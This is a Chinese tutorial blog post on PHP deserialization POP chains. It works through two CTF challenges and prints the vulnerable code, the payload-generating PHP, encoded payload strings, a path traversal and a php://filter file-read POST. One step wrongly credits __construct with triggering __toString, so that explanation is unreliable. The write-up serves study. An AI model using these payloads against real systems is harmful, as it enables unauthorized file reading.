php反序列化学习(中)--pop链的构造

关于POP链

POP链是⼀种⾯向属性编程,常⽤于构造调⽤链的⽅法。

PHP反序列化攻击是一种常见的Web攻击,攻击者通过构造恶意的序列化数据,将其传递给目标服务器,从而导致服务器执行非预期的操作。而Pop链则是一种利用PHP反序列化漏洞的攻击方式,可以在未授权的情况下执行任意代码。在反序列化中,我们能控制的数据就是对象中的属性值(成员变量所以在PHP反序列化中有一种漏洞利用方法叫"面向属性编程"POP( Property Oriented Programming)。
POP链就是利用魔法方法在里面进行多次跳转然后获取敏感数据的-种payload。

Pop链的基本思路是,通过反序列化攻击,构造出一条“链”,让程序依次执行其中的命令,最终实现攻击者想要的目的。Pop链通常是由多个对象序列化数据组成的,每个对象都包含着下一个对象的引用。当程序反序列化第一个对象时,就会自动解析其中的引用,并继续反序列化下一个对象,以此类推,最终执行攻击者希望执行的代码。

[第五空间 2021]pklovecloud

打开环境,进行代码审计

<?php  
// 包含 flag.php 文件,但不会在此显示其内容
include 'flag.php';

// 定义一个名为 pkshow 的类
class pkshow 
{  
    // 定义一个名为 echo_name 的方法,返回字符串 "Pk very safe^.^"
    function echo_name()     
    {          
        return "Pk very safe^.^";      
    }  
} 

// 定义一个名为 acp 的类
class acp 
{   
    // 声明一个受保护的属性 $cinder 和两个公共属性 $neutron 和 $nova
    protected $cinder;  
    public $neutron;
    public $nova;

    // 构造函数,创建一个 pkshow 对象并将其分配给 $cinder 属性
    function __construct() 
    {      
        $this->cinder = new pkshow;
    }  

    // 将对象转换为字符串时调用的魔术方法
    function __toString()      
    {          
        // 如果 $cinder 属性已设置,则返回 $cinder 对象的 echo_name 方法的结果
        if (isset($this->cinder))  
            return $this->cinder->echo_name();      
    }  
}  

// 定义一个名为 ace 的类
class ace
{    
    // 声明三个公共属性 $filename、$openstack 和 $docker
    public $filename;     
    public $openstack;
    public $docker; 

    // 定义一个名为 echo_name 的方法
    function echo_name()      
    {   
        // 反序列化 $docker 属性并将结果赋值给 $openstack 属性
        $this->openstack = unserialize($this->docker);

        // 将未定义的变量 $heat 赋值给 $openstack->neutron
        $this->openstack->neutron = $heat;

        // 如果 $openstack->neutron 等于 $openstack->nova
        if($this->openstack->neutron === $this->openstack->nova)
        {
            // 构造文件路径
            $file = "./{$this->filename}";

            // 如果能够读取文件内容
            if (file_get_contents($file))         
            {              
                // 返回文件内容
                return file_get_contents($file); 
            }  
            else 
            { 
                // 文件不存在时返回 "keystone lost~"
                return "keystone lost~"; 
            }    
        }
    }  
}  

// 如果 GET 请求中包含参数 pks
if (isset($_GET['pks']))  
{
    // 反序列化 pks 参数并将结果赋值给 $logData 变量
    $logData = unserialize($_GET['pks']);

    // 输出 $logData 变量的内容
    echo $logData; 
} 
else 
{ 
    // 如果没有 pks 参数,则显示当前文件的源代码
    highlight_file(__file__); 
}
?>

这一题我们需要构造pop链,既然要构造pop链,我们就要找到链头和链尾(从链尾在到链头,一步一步的看,这样就思路清晰了)

我们先去找链尾,我们需要通过这个file_get_contents()函数来获得flag。但是如果我们想要触发file_get_contents()函数的条件就是需要触发ace中的echo_name()函数,我们接着找echo_name()函数,在acp中的__toString()魔术方法中找到了echo_name()函数,因此,如果我们要触发ace中的echo_name()函数的话,就需要触发acp中的__toString()魔术方法并使 acp $this->cinder = new ace(),从而调用到echo_name()函数再触发file_get_contents()函数得到flag.php。那么,我们该怎么触发acp中的__toString()魔术方法呢,别忘了,在源代码中,还有一个魔术方法:__construct()魔术方法,acp 实例化时会自动调用 __construct(),我们可以通过__construct这个构造函数去触发_toString方法,成功调用echo_name()函数。最终得到flag。

关于file_get_contents() 函数

file_get_contents() 函数是一个php函数,用于读取文件中的内容并将其作为字符串返回。它接受一个参数,即要读取的文件的路径。 但遇到读大文件操作时,不建议使用。可以考虑curl等方式代替。

__toString()魔术方法

__toString()魔术方法用于在尝试将一个对象转换为字符串时自动调用。当你尝试直接在代码中将一个对象作为字符串输出时,PHP 将会查找该对象是否有定义了 __toString() 方法,如果有,就会自动调用这个方法来返回对象的字符串表示形式。

__construct()魔术方法

__construct()魔术方法是php中常见的魔术方法,用于在创建一个新对象实例时自动调用。它是类的构造函数,负责执行对象的初始化操作,比如设置对象的属性或执行必要的设置。当你使用 new关键字创建一个类的新实例时,PHP会自动调用该类中的 __construct() 方法。

基本思路就是这样,所以我们的pop链为:

acp->__construct() => acp->__toString() => ace->echo_name() => file_get_contents(flag.php)

但是关于这一题我们还有一个点,就是需要满足$this->openstack->neutron === $this->openstack->nova 因为第一次遇见,去看了很对师傅们的WP,学到了几种方法,其中我觉的最简单的也最容易理解的方法是:

别忘了我们还有一个从未出现的变量$heat,我们可以发现$heat变量是没有被赋值的,那么他就是空的,我们既然要满足$this->openstack->neutron === $this->openstack->nova,那让$nova为空不就行了么,因此我们构造php:

<?php
class acp
{
	protected $cinder;  
    public $neutron;
    public $nova=null;
	function __construct()
	{
		$this->cinder = new ace();
	}
}
class ace
{
	public $filename = 'flag.php';     
    public $openstack;
    public $docker;
}
$a = new acp();
echo serialize($a);
?>

构造出来后,我们发现有不可见字符,那我们再对他进行一次url编码就可以了

<?php
class acp
{
	protected $cinder;  
    public $neutron;
    public $nova=null;
	function __construct()
	{
		$this->cinder = new ace();
	}
}
class ace
{
	public $filename = 'flag.php';     
    public $openstack;
    public $docker;
}
$a = new acp();
echo urlencode(serialize($a));
?>

 得到

O%3A3%3A%22acp%22%3A3%3A%7Bs%3A9%3A%22%00%2A%00cinder%22%3BO%3A3%3A%22ace%22%3A3%3A%7Bs%3A8%3A%22filename%22%3Bs%3A8%3A%22flag.php%22%3Bs%3A9%3A%22openstack%22%3BN%3Bs%3A6%3A%22docker%22%3BN%3B%7Ds%3A7%3A%22neutron%22%3BN%3Bs%3A4%3A%22nova%22%3BN%3B%7D

 构造url:

?pks=O%3A3%3A%22acp%22%3A3%3A%7Bs%3A9%3A%22%00%2A%00cinder%22%3BO%3A3%3A%22ace%22%3A3%3A%7Bs%3A8%3A%22filename%22%3Bs%3A8%3A%22flag.php%22%3Bs%3A9%3A%22openstack%22%3BN%3Bs%3A6%3A%22docker%22%3BN%3B%7Ds%3A7%3A%22neutron%22%3BN%3Bs%3A4%3A%22nova%22%3BN%3B%7D

什么都没有。。。。在源代码里发现了秘密

我们知道了falg的位置,flag在/nssctfasdasdflag里,那我们修改一下filename的值就可以了

<?php
class acp
{
	protected $cinder;  
    public $neutron;
    public $nova=null;
	function __construct()
	{
		$this->cinder = new ace();
	}
}
class ace
{
	public $filename = 'nssctfasdasdflag';     
    public $openstack;
    public $docker;
}
$a = new acp();
echo urlencode(serialize($a));
?>

得到

O%3A3%3A%22acp%22%3A3%3A%7Bs%3A9%3A%22%00%2A%00cinder%22%3BO%3A3%3A%22ace%22%3A3%3A%7Bs%3A8%3A%22filename%22%3Bs%3A16%3A%22nssctfasdasdflag%22%3Bs%3A9%3A%22openstack%22%3BN%3Bs%3A6%3A%22docker%22%3BN%3B%7Ds%3A7%3A%22neutron%22%3BN%3Bs%3A4%3A%22nova%22%3BN%3B%7D

 嗯。。。。是为什么呢,看了WP才知道,是因为不存在/nssctfasdasdflag,那我们查看一下上一级目录

../nssctfasdasdflag

<?php
class acp
{
	protected $cinder;  
    public $neutron;
    public $nova=null;
	function __construct()
	{
		$this->cinder = new ace();
	}
}
class ace
{
	public $filename = '../nssctfasdasdflag';     
    public $openstack;
    public $docker;
}
$a = new acp();
echo urlencode(serialize($a));
?>

得到

O%3A3%3A%22acp%22%3A3%3A%7Bs%3A9%3A%22%00%2A%00cinder%22%3BO%3A3%3A%22ace%22%3A3%3A%7Bs%3A8%3A%22filename%22%3Bs%3A19%3A%22..%2Fnssctfasdasdflag%22%3Bs%3A9%3A%22openstack%22%3BN%3Bs%3A6%3A%22docker%22%3BN%3B%7Ds%3A7%3A%22neutron%22%3BN%3Bs%3A4%3A%22nova%22%3BN%3B%7D

得到了flag

[GDOUCTF 2023]反方向的钟

打开环境,代码审计,也是需要构造pop链的一道反序列化题

 <?php
error_reporting(0);
highlight_file(__FILE__);
// flag.php
class teacher{
    public $name;
    public $rank;
    private $salary;
    public function __construct($name,$rank,$salary = 10000){
        $this->name = $name;
        $this->rank = $rank;
        $this->salary = $salary;
    }
}

class classroom{
    public $name;
    public $leader;
    public function __construct($name,$leader){
        $this->name = $name;
        $this->leader = $leader;
    }
    public function hahaha(){
        if($this->name != 'one class' or $this->leader->name != 'ing' or $this->leader->rank !='department'){
            return False;
        }
        else{
            return True;
        }
    }
}

class school{
    public $department;
    public $headmaster;
    public function __construct($department,$ceo){
        $this->department = $department;
        $this->headmaster = $ceo;
    }
    public function IPO(){
        if($this->headmaster == 'ong'){
            echo "Pretty Good ! Ctfer!\n";
            echo new $_POST['a']($_POST['b']);
        }
    }
    public function __wakeup(){
        if($this->department->hahaha()) {
            $this->IPO();
        }
    }
}

if(isset($_GET['d'])){
    unserialize(base64_decode($_GET['d']));
}
?>

还是和之前一样,我们先从尾巴开始找:

找到了关键点school类中的IPO()方法 echo new $_POST['a']($_POST['b']);

POST请求利用原生类SplFileObject读取文件

接着往后面看,要调用IPO(),就需要在__wake()下,又要先执行hahaha(),接着往上面找hahaha(),在classroom类中找到了hahaha(),需要对三个变量赋值:$this->name != 'one class'、$this->leader->name != 'ing'、$this->leader->rank !='department'则返回为真,可以看见后面两个变量leader指向name和rank的值,name和rank都在teacher类里,因此我们要实例化该类并赋值给leader,$leader=new teacher()

大致思路就是这样,所以我们的pop链为:

teacher->classroom:hahaha()->classroom:__wakeup()->IPO()

接着我们构造php:

<?php
class teacher{
    public $name = 'ing';
    public $rank = 'department';
    private $salary;
}
class classroom{
    public $name = 'one class';
    public $leader;
}
class school{
	public $department;
    public $headmaster = 'ong';
}
$a=new school();
$a->department=new classroom();
$a->department->leader=new teacher();
echo base64_encode(serialize($a));
?>

得到

Tzo2OiJzY2hvb2wiOjI6e3M6MTA6ImRlcGFydG1lbnQiO086OToiY2xhc3Nyb29tIjoyOntzOjQ6Im5hbWUiO3M6OToib25lIGNsYXNzIjtzOjY6ImxlYWRlciI7Tzo3OiJ0ZWFjaGVyIjozOntzOjQ6Im5hbWUiO3M6MzoiaW5nIjtzOjQ6InJhbmsiO3M6MTA6ImRlcGFydG1lbnQiO3M6MTU6IgB0ZWFjaGVyAHNhbGFyeSI7Tjt9fXM6MTA6ImhlYWRtYXN0ZXIiO3M6Mzoib25nIjt9

构造url:

?d=Tzo2OiJzY2hvb2wiOjI6e3M6MTA6ImRlcGFydG1lbnQiO086OToiY2xhc3Nyb29tIjoyOntzOjQ6Im5hbWUiO3M6OToib25lIGNsYXNzIjtzOjY6ImxlYWRlciI7Tzo3OiJ0ZWFjaGVyIjozOntzOjQ6Im5hbWUiO3M6MzoiaW5nIjtzOjQ6InJhbmsiO3M6MTA6ImRlcGFydG1lbnQiO3M6MTU6IgB0ZWFjaGVyAHNhbGFyeSI7Tjt9fXM6MTA6ImhlYWRtYXN0ZXIiO3M6Mzoib25nIjt9

并使用POST传参

a=SplFileObject&b=php://filter/read=convert.base64-encode/resource=flag.php

 

再进行base64解码得到flag

关于SplFileObject

SplFileObject是 PHP 中的一个类,它提供了一个面向对象的接口,用于读取和写入文件。它是标准 PHP 库 (SPL) 的一部分,相比传统的文件处理函数(如 fopen()fwrite() 等),它提供了更多功能和灵活性。

通过 SplFileObject,你可以轻松地迭代文件中的行,读取或写入数据块,操作文件指针,并使用面向对象的语法执行其他文件相关的操作。

去看了很多师傅们的博客,但是感觉不是很懂,感觉这一篇让我又一点点感觉

浅析PHP原生类 - 知乎

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值